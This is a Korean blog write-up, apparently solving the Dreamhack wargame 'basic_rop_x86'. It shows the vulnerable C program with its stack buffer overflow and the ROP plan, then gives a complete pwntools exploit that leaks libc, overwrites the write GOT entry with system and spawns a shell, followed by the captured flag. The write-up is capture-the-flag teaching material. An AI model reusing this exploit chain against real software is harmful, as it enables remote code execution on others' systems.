[Dreamhack] basic_rop_x86

#코딩노예#·2022년 7월 15일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

read 함수와 write 함수를 이용하는 ROP 문제인 것 같습니다.


보호 기법

$ checksec basic_rop_x86
[*] '/home/ion/wargame/basic_rop_x86/basic_rop_x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 보호 기법이 걸려있습니다.


스택 구조

   0x080485f6 <+29>:    push   0x400	// push 0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]	// eax = buf
   0x080485fe <+37>:    push   eax	// push buf
   0x080485ff <+38>:    push   0x0	// 0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>	// read(0, buf, 0x400)
   0x08048606 <+45>:    add    esp,0xc


ROP 공격 단계

1. 필요한 정보 구하기
2. read 함수의 실제 주소 leak
3. ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장
4. write@got를 system 실제 주소로 got overwrite
5. "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출 됨

가젯 찾기

gdb-peda$ ropgadget
ret = 0x80483c2
popret = 0x80483d9
pop2ret = 0x804868a
pop3ret = 0x8048689
pop4ret = 0x8048688
addesp_8 = 0x80485c9
addesp_12 = 0x80483d6
addesp_16 = 0x80484e5

read함수와 write 함수는 인자가 3개 이기 때문에, pop3ret 가젯을 사용하면 됩니다.

pop3ret = 0x8048689


익스플로잇

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

#context.log_level = 'debug'

p = remote("host2.dreamhack.games", 17458)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")


# [1] 필요 정보 수집
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

pppr = 0x8048689
bss = e.bss()


# [2] Exploit
payload = b'A' * 72


# read() 실제 주소 흭득 -> write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)


# BSS 영역에 "/bin/sh" 쓰기 -> read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)


# got overwrite (write -> system) => read(0, write@got, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)


# write("/bin/sh") => system("/bin/sh")가 호출 됨
payload += p32(write_plt)
payload += b"AAAA"
payload += p32(bss)

p.send(payload)

p.recvuntil(b'A' * 64)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset

slog("libc base", lb)
slog("read", read)
slog("system", system)

p.send(b'/bin/sh\x00')
p.sendline(p32(system))
p.interactive()

익스플로잇 코드를 실행시켜보면

$ python3 remote.py
[+] Opening connection to host2.dreamhack.games on port 17458: Done
[*] '/home/ion/wargame/basic_rop_x86/basic_rop_x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/ion/wargame/basic_rop_x86/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc base: 0xf7d32000
[+] read: 0xf7e06350
[+] system: 0xf7d6c940
[*] Switching to interactive mode
$

공격에 성공해서 쉘이 떴습니다.


flag 파일을 출력해보면

 ls
basic_rop_x86
flag
$ cat flag
DH{ff3976e1fcdb03267e8d1451e56b90a5}

0개의 댓글